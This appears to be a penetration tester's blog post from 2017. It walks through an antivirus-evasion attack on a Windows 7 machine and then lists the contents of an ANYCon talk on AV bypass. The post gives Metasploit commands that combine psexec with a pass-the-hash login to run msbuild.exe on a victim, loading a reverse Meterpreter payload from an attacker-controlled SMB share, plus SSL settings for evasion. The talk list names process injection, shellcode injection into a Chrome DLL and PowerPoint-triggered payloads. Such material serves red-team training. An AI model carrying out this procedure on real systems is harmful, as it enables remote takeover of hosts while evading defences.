PsExec Pass-the-Hash + NPS_Payload = Evasion

Sources and many thanks to:

@subTee – Bypassing Application Whitelisting using MSBuild.exe – Device Guard Example and Mitigations
http://subt0x10.blogspot.com/2017/04/bypassing-application-whitelisting.html

@spoonman1091 & @ben0xa – NPS_Payload
https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/

Attack Video: https://youtu.be/5WQcB6L56QQ

Demo Systems:
Victim Machine – Windows 7 Professional (x86) with Norton Security AV
Attack Machine – Kali Rolling 2017.1

Attack Methodology:
1. Build the XML file for msbuild.exe using nps_payload.
This XML file will contain my PSH Reverse Meterpreter HTTPS payload.

2. Check the Samba config file, and start the smbd service.

3. Copy the XML file to the local share directory.

4. Modify the Metasploit RC file to include custom SSL cert for additional evasion.

set HandlerSSLCert /root/.msf4/loot/file.pem
set StagerVerifySSLCert true

5. Modify the Metasploit RC file to include the psexec+pth attack.
Payload windows/exec executes the msbuild.exe cmd generated from nps_payload.

use exploit/windows/smb/psexec
set rhost IPADDRESS
set smbuser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:HASH

set payload windows/exec
set cmd cmd.exe /c start %windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \\\\192.168.222.198\\payloads$\\msbuild_nps.xml

6. Execute the Metasploit RC file, and gain pwnage.

ANYCon 2017 – Practical AV Bypass Presentation Content


Albany New York Hacking, InfoSec & Cyber Security Conference.
June 16-17 2017 http://anycon.info

Link to Video: Practical AV Bypass Techniques

Slides: Practical AV Bypass Techniques

1. Default MSF EXE Payload – PackedGeneric.347

2. MSF EXE Payload with Notepad.exe Template –
Heur.AdvML.B

3. Veil Framework C# EXE – SONAR.Heuristic.158

4. Custom EXE C# Remote Process Injection – SONAR.Heuristic.158 & IPS Intrusion Alert

5. Custom EXE C# Remote Process Injection &
MSF HandlerSSLCert – SUCCESS

6. Source Code: Program.cs File

7. Shellcode Injection in Chrome DLL with
Shellter Pro v2.0

8. MS PowerPoint Mouseover Action to Meterpreter using
regsrv32, COM Scriptlets, csc.exe & InstallUtil.exe

9. COM Scriptlet Example by subTee

10. All PowerShell Payload Commands